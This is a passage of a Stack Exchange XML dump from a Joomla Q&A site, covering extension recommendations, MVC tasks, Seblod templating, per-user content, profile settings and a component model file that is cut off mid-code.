  <row Id="943" PostTypeId="2" ParentId="941" CreationDate="2014-05-21T15:56:30.580" Score="3" Body="&lt;p&gt;In the simplest form as you have described in your question, saying that you are just want to display content from the current user in a module, it is possible that some modules would have already such filter settings (that will use the current user id and retrieve/display their articles in the front-end). You can look in &lt;strong&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/news-display&quot; rel=&quot;nofollow&quot;&gt;JED for article modules&lt;/a&gt;&lt;/strong&gt; and check for their features. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A module that provides plenty of filtering features, is the &lt;strong&gt;&lt;a href=&quot;http://raxo.org&quot; rel=&quot;nofollow&quot;&gt;RAXO Pro&lt;/a&gt;&lt;/strong&gt; module (commercial). It has an author filtering option to display : My articles or not my articles, that possibly might do the trick (but better ask a presale question).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you won't find other modules, then you could customize a little the &lt;strong&gt;Articles Category&lt;/strong&gt; module, that provides author filtering, and set it to use the current user id as the author.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Going deeper, you could create your own custom menu item for the com_content component and set up such filtering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, based on your comment above, I think that you are going to need a much more sophisticated solution, than a simple module or &quot;iframe&quot;. There are various extensions that deal with the &lt;strong&gt;front-end article submission/authoring&lt;/strong&gt;. Check the relevant &lt;a href=&quot;http://extensions.joomla.org/extensions/authoring-a-content&quot; rel=&quot;nofollow&quot;&gt;JED category&lt;/a&gt; to get some ideas.&#xA;I have seen extensions that deal exactly with this situation in the past, but I can't recall their names now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some other ideas would be to create your own content items with a CCK e.g &lt;strong&gt;&lt;a href=&quot;http://getk2.org/&quot; rel=&quot;nofollow&quot;&gt;K2&lt;/a&gt;&lt;/strong&gt;, or a custom app with an application builder like &lt;strong&gt;&lt;a href=&quot;http://fabrikar.com/&quot; rel=&quot;nofollow&quot;&gt;Fabrik&lt;/a&gt;&lt;/strong&gt;, &lt;strong&gt;&lt;a href=&quot;http://www.seblod.com/&quot; rel=&quot;nofollow&quot;&gt;Seblod&lt;/a&gt;&lt;/strong&gt; or other similar tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;##UPDATE##&lt;/strong&gt;&#xA;To add some extra info, in the case you want to create your custom page, module, the key here is to use the current user id, as well as to check for the user access (probably users should be logged in, in order to submit articles or to see any unpublished articles).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get the user id:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user = JFactory::getUser();&#xA;$user-&amp;gt;id; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can display articles created by the user with this id.&#xA;Lastly, you should also set your desired viewing access level for that page/module (e.g. registered), so it will prompt user to login, before being able to see the content.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2014-05-21T16:05:24.683" LastActivityDate="2014-05-21T16:05:24.683" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="944" PostTypeId="1" CreationDate="2014-05-21T17:14:26.890" Score="0" ViewCount="536" Body="&lt;p&gt;I am looking for a way to build multiple task with 1 layout/view&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;administrator/index.php?option=com_component&amp;amp;task=form.one&#xA;administrator/index.php?option=com_component&amp;amp;task=form.tow&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what i need is that from any task i can build the same form with different parameters&lt;/p&gt;&#xA;" OwnerUserId="434" LastActivityDate="2014-05-21T19:26:17.900" Title="Multiple task with one" Tags="|component|jform|view|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="945" PostTypeId="1" AcceptedAnswerId="947" CreationDate="2014-05-21T19:21:20.260" Score="9" ViewCount="937" Body="&lt;p&gt;I wanted to know which is the best Certification course which gives a proper knowledge about Joomla! in and out .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wanted to pursue a career in Joomla! as Professional Web Designer and Developer,&#xA;Please suggest me some Certifications .&#xA;Thank you !&lt;/p&gt;&#xA;" OwnerUserId="411" LastEditorUserId="7394" LastEditDate="2020-05-14T20:49:06.043" LastActivityDate="2020-05-14T20:49:06.043" Title="Which is the best Certification course offered in Joomla for Professional Web Designing and development?" Tags="|joomla-3.x|" AnswerCount="6" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="946" PostTypeId="2" ParentId="944" CreationDate="2014-05-21T19:26:17.900" Score="1" Body="&lt;p&gt;Joomla MVC works based on task parameter, following a CMD string pattern. In this way, it can be associated with a controller/task. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A task array is not standard parameter, and Joomla MVC is not going to accept it, or call several tasks to compose a final output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tasks are executed by &lt;strong&gt;JControllerLegacy&lt;/strong&gt; in this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function execute($task)&#xA;{&#xA;    $this-&amp;gt;task = $task;&#xA;&#xA;    $task = strtolower($task);&#xA;    if (isset($this-&amp;gt;taskMap[$task]))&#xA;    {&#xA;        $doTask = $this-&amp;gt;taskMap[$task];&#xA;    }&#xA;    elseif (isset($this-&amp;gt;taskMap['__default']))&#xA;    {&#xA;        $doTask = $this-&amp;gt;taskMap['__default'];&#xA;    }&#xA;    else&#xA;    {&#xA;        throw new Exception(JText::sprintf('JLIB_APPLICATION_ERROR_TASK_NOT_FOUND', $task), 404);&#xA;    }&#xA;&#xA;    // Record the actual task being fired&#xA;    $this-&amp;gt;doTask = $doTask;&#xA;&#xA;    return $this-&amp;gt;$doTask();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In theory, you can override all JController methods to override the default task execution, and create your own processing. Or, you can just add a new parameter &lt;strong&gt;mytask&lt;/strong&gt;, and manage mytask in your own way to avoid any conflict.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-05-21T19:26:17.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="947" PostTypeId="2" ParentId="945" CreationDate="2014-05-21T20:27:37.757" Score="13" Body="&lt;p&gt;Certifications prove nothing as @Brian has already mentioned. I have absolutely zero qualifications in computer science or development and believe it or not, I actually failed I.T (computers) at A-level when I was 18, yet I'm still a full time developer and got where I am from experience.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Showing on paper that you can answer +-40 questions about a CMS doesn't compete against a full portfolio of bespoke websites with custom designs and extensions, especially when you're self taught.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not entirely sure if you're new to just Joomla or new to the whole development world, however if you are new to development in general, one piece of advice I will give is, don't simply stick to Joomla development. Always go back to the root which is what Joomla is written in. &lt;strong&gt;PHP&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-11-24T15:37:57.617" LastActivityDate="2015-11-24T15:37:57.617" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="948" PostTypeId="1" AcceptedAnswerId="949" CreationDate="2014-05-22T06:58:25.960" Score="5" ViewCount="1283" Body="&lt;p&gt;I have created a new template by copying the &lt;code&gt;seb_one&lt;/code&gt; template and then making my adjustments to &lt;code&gt;index.php&lt;/code&gt;. I have also used &lt;code&gt;fields/markup.php&lt;/code&gt; by copying it to &lt;code&gt;fields/contenttype/markup.php&lt;/code&gt; in order to override how the fields are created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;fields/markup.php&lt;/code&gt; I have commented out the logic and just put a &lt;code&gt;return $html;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is, this applies then to all fields in the contenttype. I would like to enable this override only for selected fields, or in particular, disable it for a certain field. Is there some variable or flag that I can pass with the field such that I can choose whether I ignore the markup or not.&lt;/p&gt;&#xA;" OwnerUserId="366" LastEditorUserId="1629" LastEditDate="2014-12-21T01:51:45.157" LastActivityDate="2014-12-21T01:51:45.157" Title="Seblod template: How to use fields/markup.php to override field markup?" Tags="|php|cck|seblod|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="949" PostTypeId="2" ParentId="948" CreationDate="2014-05-22T07:42:15.960" Score="2" Body="&lt;p&gt;in markup.php you can catch your field like next:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if($field-&amp;gt;name == 'my_field')&#xA;{&#xA;  $html = &quot;my code&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="87" LastActivityDate="2014-05-22T07:42:15.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="950" PostTypeId="2" ParentId="948" CreationDate="2014-05-22T08:57:01.817" Score="3" Body="&lt;p&gt;I just just realized that this is also possible without touching the &lt;code&gt;fields/_markup.php&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two options options that affect the markup of the field. First the field it self can be configured under the option 3 (markup + markup class), in the graphic marked with &lt;strong&gt;A&lt;/strong&gt;. Setting this to &lt;code&gt;None&lt;/code&gt;, will cause the field to be rendered without markup. This will preserve the label of the field but it does not any of the surrounding divs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second the variation of the position can be set to &lt;code&gt;- None -&lt;/code&gt; and this will cause another remaining div for the position to be omitted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mBZk2.png&quot; alt=&quot;SEBLOD Markup configuration&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2014-05-22T08:57:01.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="951" PostTypeId="1" CreationDate="2014-05-22T09:04:11.763" Score="3" ViewCount="206" Body="&lt;p&gt;I have a question about Seblod. I am using an email field to submit customer requests. I am trying to format the Email as HTML so the agent can easily read it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While this generally works, I have 2 problems with it.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I added a textarea field (not WYSIWYG). I configured this field to replace newlines with paragraphs (&lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt;), when I enter a message with several lines, then in the email they end up as one line. The new lines are just removed, no paragraphs are visible.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Similarly, I have added a checkbox field with several options. There is a &lt;code&gt;separator&lt;/code&gt; field that contains a comma &lt;code&gt;,&lt;/code&gt; by default. I tried to replace it with &lt;code&gt;&amp;lt;br/&amp;gt;&lt;/code&gt; but that not allowed. I am also looking for a way to separate the content with newlines or list items or paragraphs in the email.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Currently I have inserted the fields in the email like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;#customer_message#&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;p&amp;gt;#customer_checkboxes#&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="126" LastEditDate="2015-12-04T19:47:12.800" LastActivityDate="2015-12-04T19:47:12.800" Title="Seblod: Email field" Tags="|cck|seblod|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="952" PostTypeId="1" AcceptedAnswerId="953" CreationDate="2014-05-22T09:45:34.253" Score="6" ViewCount="87" Body="&lt;p&gt;Are there any quality podcasts regarding Joomla or PHP and web development that you listen and would recommend?&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorDisplayName="user3831" LastEditDate="2019-01-26T16:38:47.957" LastActivityDate="2019-01-26T16:38:47.957" Title="Any Joomla &amp; PHP podcasts from which I can learn?" Tags="|recommended-practices|" AnswerCount="1" CommentCount="0" CommunityOwnedDate="2014-05-22T09:45:34.253" ContentLicense="CC BY-SA 3.0" />
  <row Id="953" PostTypeId="2" ParentId="952" CreationDate="2014-05-22T09:45:34.253" Score="6" Body="&lt;p&gt;This is a &lt;a href=&quot;https://meta.stackexchange.com/questions/11740/what-are-community-wiki-posts&quot;&gt;community wiki&lt;/a&gt;. Feel free to contribute in a constructive manner.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Joomla Podcasts&lt;/h1&gt;&#xA;&#xA;&lt;h3&gt;&lt;strong&gt;&lt;a href=&quot;http://joomlabe.at/podcast/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla Beat Podcast&lt;/a&gt;&lt;/strong&gt; by Peter Bui&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;This is a general podcast about Joomla. Lots of interesting interviews, very informative, good sound quality and overall very dynamic and positive.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;PHP Podcasts&lt;/h1&gt;&#xA;&#xA;&lt;h3&gt;&lt;strong&gt;&lt;a href=&quot;http://phptownhall.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;PHP Town Hall&lt;/a&gt;&lt;/strong&gt; by Ben Edmunds, Phil Sturgeon&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;PHP Town Hall is a podcast / vlog related to php development and regularly has guests with experienced php developers who are implementing php solutions every day.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;&lt;a href=&quot;http://voicesoftheelephpant.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Voices of the ElePHPant&lt;/a&gt; by Cal Evans and E.I.C.C., Inc.&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Interviews with different community members from different projects.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Joomla Conferences&lt;/h1&gt;&#xA;&#xA;&lt;h3&gt;&lt;a href=&quot;http://www.youtube.com/user/jandbeyondev/videos&quot; rel=&quot;nofollow noreferrer&quot;&gt;J and Beyond&lt;/a&gt; by J and Beyond e.V.&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Recordings from the J and Beyond e.V. (Germany)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Web development&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;-- TO BE ADDED --&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="-1" LastEditDate="2017-03-20T10:32:11.967" LastActivityDate="2014-10-07T12:35:29.913" CommentCount="0" CommunityOwnedDate="2014-05-22T09:45:34.253" ContentLicense="CC BY-SA 3.0" />
  <row Id="955" PostTypeId="1" AcceptedAnswerId="958" CreationDate="2014-05-22T13:10:27.450" Score="3" ViewCount="261" Body="&lt;p&gt;Ok then Joomla Masters, Fasten your seat belts!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's quite complex but I will try my best to elaborate my goal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to make a &lt;strong&gt;custom page&lt;/strong&gt; which will only be accessible to the &lt;strong&gt;Registered users&lt;/strong&gt; of my Joomla Website but I want it to &lt;strong&gt;display different elements&lt;/strong&gt; to &lt;strong&gt;different users&lt;/strong&gt;. Here's an example :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Supposition&lt;/em&gt; : &lt;strong&gt;Two Registered Users&lt;/strong&gt; (&lt;code&gt;User1&lt;/code&gt; and &lt;code&gt;User2&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When &lt;code&gt;User1&lt;/code&gt; opens the &lt;strong&gt;custom page&lt;/strong&gt;, it should display the text &lt;code&gt;&quot;ABC&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&amp;amp;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When &lt;code&gt;User2&lt;/code&gt; opens the &lt;strong&gt;same custom page&lt;/strong&gt;, it should display the text &lt;code&gt;&quot;XYZ&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, the catch is &lt;strong&gt;I should able to edit that page for any particular user&lt;/strong&gt;. I mean, i should be able to show any &lt;strong&gt;particular user&lt;/strong&gt;, the stuff &lt;strong&gt;i want to&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any body to help me out and push the limitations of Joomla user management to a next level?&lt;/p&gt;&#xA;" OwnerUserId="383" LastActivityDate="2015-05-08T14:38:02.103" Title="A Custom Page for Registered Users showing particular elements to a particular user?" Tags="|user|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="956" PostTypeId="1" CreationDate="2014-05-22T13:54:49.210" Score="4" ViewCount="930" Body="&lt;p&gt;I'm trying to link to a content article and force a specific layout override to be used in the display, however I'm having some troubles. I've tried the following: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JRoute::_(&quot;index.php?option=com_content&amp;amp;view=article&amp;amp;id={$this-&amp;gt;item-&amp;gt;id}&amp;amp;layout=mylayout&amp;amp;catid={$this-&amp;gt;item-&amp;gt;catid}&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JRoute::_(ContentHelperRoute::getArticleRoute($this-&amp;gt;item-&amp;gt;slug, $this-&amp;gt;item-&amp;gt;catid).'&amp;amp;layout=mylayout'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;however, none of them seem to get me closer to heaven, only my default override (default.php) is used, not mylayout.php. I've also tried adding an Itemid to a menu item linked to a test-content-item with this layout. The test displays with the correct layout, but not the link with the added Itemid. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried including the template-name in the layout-parameter ( layout=mytemplate:mylayout ) but still no luck. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea how to make a link that displays an item with the specified layout? The joomla version is 3.3.0. &lt;/p&gt;&#xA;" OwnerUserId="360" LastEditorUserId="52" LastEditDate="2014-05-30T20:59:30.547" LastActivityDate="2014-07-29T22:04:41.623" Title="Link to content article with specific layout" Tags="|joomla-3.3.x|template-override|jroute|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="957" PostTypeId="1" CreationDate="2014-05-22T14:02:18.607" Score="1" ViewCount="115" Body="&lt;p&gt;As part of an intranet project, I'd like to know whether a CMS behavior can be linked to a range of client IP addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The intranet contents and menus would change depending on the range of IP address the server is accessed from. Are there existing modules that will allow this IP-driven behavior?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If possible, I'd like to run the intranet on Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="445" LastActivityDate="2015-09-23T10:41:33.713" Title="IP-driven CMS behavior" Tags="|articles|configuration|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="958" PostTypeId="2" ParentId="955" CreationDate="2014-05-22T14:05:01.190" Score="4" Body="&lt;blockquote&gt;I want some kind of script which when detects a specific logged in user should execute a specific code for that user only, is that possible?&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can use something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user = JFactory::getUser();&#xA;&#xA;if( $user-&amp;gt;username == 'Saibbyweb' )&#xA;{&#xA;     // code for Saibbyweb&#xA;}&#xA;elseif( $user-&amp;gt;username == 'Lodder' ) &#xA;{&#xA;    // code for Lodder&#xA;}&#xA;else &#xA;{&#xA;    // else just some standard stuff&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2014-05-22T14:20:17.927" LastActivityDate="2014-05-22T14:20:17.927" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="959" PostTypeId="2" ParentId="955" CreationDate="2014-05-22T14:07:19.670" Score="1" Body="&lt;p&gt;You can use the core profile plugin to do this. Here is a Tutorial for Joomla2.5 to create a plugin to adding custom user profile fields. You can adapt this tutorial for Joomla 3.3.0, too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.inmotionhosting.com/support/edu/joomla-25/user-profile/copy-user-profile-plugin&quot; rel=&quot;nofollow&quot;&gt;http://www.inmotionhosting.com/support/edu/joomla-25/user-profile/copy-user-profile-plugin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2014-05-22T14:07:19.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="960" PostTypeId="1" AcceptedAnswerId="961" CreationDate="2014-05-22T14:21:07.783" Score="3" ViewCount="3090" Body="&lt;p&gt;How to remove these un-necessary fields from Joomla front-end Profile editor &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Editor&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Timezone&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Front-end language&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, i want to know is it possible to remove the password changing fields from the Core Joomla profile editor? I want to make a separate page for Password Changing stuff for the front-end users?&lt;/p&gt;&#xA;" OwnerUserId="383" LastActivityDate="2023-03-28T05:59:32.013" Title="How to remove some fields from core Joomla Profile Editor?" Tags="|user|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="961" PostTypeId="2" ParentId="960" CreationDate="2014-05-22T14:23:13.223" Score="2" Body="&lt;p&gt;In the Joomla backend, go to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Users&lt;/strong&gt; &gt;&gt; &lt;strong&gt;User Manager&lt;/strong&gt; &gt;&gt; &lt;strong&gt;Options&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then set &lt;strong&gt;Frontend User Parameters&lt;/strong&gt; to &lt;strong&gt;hide&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the password changing fields, I think this should be asked as a different question&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-05-22T14:23:13.223" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="962" PostTypeId="1" CreationDate="2014-05-22T14:33:12.837" Score="2" ViewCount="490" Body="&lt;p&gt;I want to know is it possible to remove the password changing fields from the Core Joomla profile editor? I want to make a separate page for Password Changing stuff for the front-end users?&lt;/p&gt;&#xA;" OwnerUserId="383" LastActivityDate="2014-05-22T15:26:47.790" Title="Separate Password Changing Form for the Joomla Front-end users?" Tags="|component|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="963" PostTypeId="2" ParentId="957" CreationDate="2014-05-22T14:45:24.057" Score="1" Body="&lt;p&gt;To my knowledge, there's no built in way to do this, though I tinkered with doing it by modifying an existing extension called &lt;a href=&quot;http://extensions.joomla.org/extensions/mobile/mobile-display/21806&quot; rel=&quot;nofollow&quot;&gt;Simple Mobile Detection&lt;/a&gt; that specified different templates for different devices.  Altering the code to do the same thing based on the IP address would be quite easy if you're a programmer&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-05-22T14:45:24.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="964" PostTypeId="1" CreationDate="2014-05-22T14:49:45.683" Score="3" ViewCount="103" Body="&lt;p&gt;In my site logs folder when i open error.php, i see lots of records per line as one is look like this - &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2014-04-03  22:35:54    INFO    2.61.174.50 Joomla FAILURE:     Username and password do not match or you do not have an account yet.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What does that mean actually as i never had to deal with logs in joomla. As far as i get, most probably someone tried to access my admin login and joomla logged it, is a hacking attempt? if it is, then the above IP banning is sufficient? &lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2014-05-22T14:59:54.803" Title="Records in log file" Tags="|joomla-2.5|php|joomla-api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="965" PostTypeId="2" ParentId="956" CreationDate="2014-05-22T14:53:42.597" Score="1" Body="&lt;p&gt;First of all, make sure that you have placed yourlayout.php file into the right directory and that Joomla can load it. Then you should assign that layout to the article/s you want them make use of it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that if the article is linked to a menu item, then the alternative layout will not work. In this case you have to create also a yourlayout.xml file matching your layout php file, and place it next to it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you will have to change the menu item used for this article with your new menu-item.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-05-22T14:53:42.597" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="966" PostTypeId="1" CreationDate="2014-05-22T14:55:10.433" Score="2" ViewCount="570" Body="&lt;p&gt;I have a Component with the following table:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;+------------------+------------------+------+-----+---------------------+----------------+&#xA;| Field            | Type             | Null | Key | Default             | Extra          |&#xA;+------------------+------------------+------+-----+---------------------+----------------+&#xA;| id               | int(11) unsigned | NO   | PRI | NULL                | auto_increment |&#xA;| asset_id         | int(10) unsigned | NO   |     | 0                   |                |&#xA;| title            | varchar(255)     | NO   |     | NULL                |                |&#xA;| file             | varchar(255)     | NO   |     | NULL                |                |&#xA;| category         | int(11)          | NO   |     | NULL                |                |&#xA;| ordering         | int(11)          | NO   |     | NULL                |                |&#xA;| state            | tinyint(1)       | NO   |     | NULL                |                |&#xA;| checked_out      | int(11)          | NO   |     | NULL                |                |&#xA;| checked_out_time | datetime         | NO   |     | 0000-00-00 00:00:00 |                |&#xA;| created_by       | int(11)          | NO   |     | NULL                |                |&#xA;+------------------+------------------+------+-----+---------------------+----------------+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am using JCategories. Here is my current model File:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;/**&#xA; * @version     1.0.0&#xA; * @package     com_media_centre&#xA; * @copyright   Copyright (C) 2014. All rights reserved.&#xA; * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA; * @author      Dawid van der Hoven &amp;lt;dawid@jamfactory.co.za&amp;gt; - http://www.jamfactory.co.za&#xA; */&#xA;defined('_JEXEC') or die;&#xA;&#xA;jimport('joomla.application.component.modellist');&#xA;&#xA;/**&#xA; * Methods supporting a list of Media_centre records.&#xA; */&#xA;class MediaModelFiles extends JModelList {&#xA;&#xA;    /**&#xA;     * Constructor.&#xA;     *&#xA;     * @param    array    An optional associative array of configuration settings.&#xA;     * @see        JController&#xA;     * @since    1.6&#xA;     */&#xA;    public function __construct($config = array()) {&#xA;        parent::__construct($config);&#xA;    }&#xA;&#xA;    /**&#xA;     * Method to auto-populate the model state.&#xA;     *&#xA;     * Note. Calling getState in this method will result in recursion.&#xA;     *&#xA;     * @since   1.6&#xA;     */&#xA;    protected function populateState($ordering = null, $direction = null) {&#xA;&#xA;        // Initialise variables.&#xA;        $app = JFactory::getApplication();&#xA;&#xA;        // List state information&#xA;        $limit = $app-&amp;gt;getUserStateFromRequest('global.list.limit', 'limit', $app-&amp;gt;getCfg('list_limit'));&#xA;        $this-&amp;gt;setState('list.limit', $limit);&#xA;&#xA;        $limitstart = JFactory::getApplication()-&amp;gt;input-&amp;gt;getInt('limitstart', 0);&#xA;        $this-&amp;gt;setState('list.start', $limitstart);&#xA;&#xA;&#xA;        if(empty($ordering)) {&#xA;            $ordering = 'a.ordering';&#xA;        }&#xA;&#xA;        // List state information.&#xA;        parent::populateState($ordering, $direction);&#xA;    }&#xA;&#xA;    /**&#xA;     * Build an SQL query to load the list data.&#xA;     *&#xA;     * @return  JDatabaseQuery&#xA;     * @since   1.6&#xA;     */&#xA;    protected function getListQuery() {&#xA;        // Create a new query object.&#xA;        $db = $this-&amp;gt;getDbo();&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;        // Select the required fields from the table.&#xA;        $query-&amp;gt;select(&#xA;                $this-&amp;gt;getState(&#xA;                        'list.select', 'a.*'&#xA;                )&#xA;        );&#xA;&#xA;        $query-&amp;gt;from('`#__media_files` AS a');&#xA;&#xA;&#xA;    // Join over the users for the checked out user.&#xA;    $query-&amp;gt;select('uc.name AS editor');&#xA;    $query-&amp;gt;join('LEFT', '#__users AS uc ON uc.id=a.checked_out');&#xA;&#xA;        // Join over the category 'category'&#xA;        $query-&amp;gt;select('category.title AS category_title');&#xA;        $query-&amp;gt;join('LEFT', '#__categories AS category ON category.id = a.category');&#xA;        // Join over the created by field 'created_by'&#xA;        $query-&amp;gt;select('created_by.name AS created_by');&#xA;        $query-&amp;gt;join('LEFT', '#__users AS created_by ON created_by.id = a.created_by');&#xA;&#xA;&#xA;        // Filter by search in title&#xA;        $search = $this-&amp;gt;getState('filter.search');&#xA;        if (!empty($search)) {&#xA;            if (stripos($search, 'id:') === 0) {&#xA;                $query-&amp;gt;where('a.id = ' . (int) substr($search, 3));&#xA;            } else {&#xA;                $search = $db-&amp;gt;Quote('%' . $db-&amp;gt;escape($search, true) . '%');&#xA;                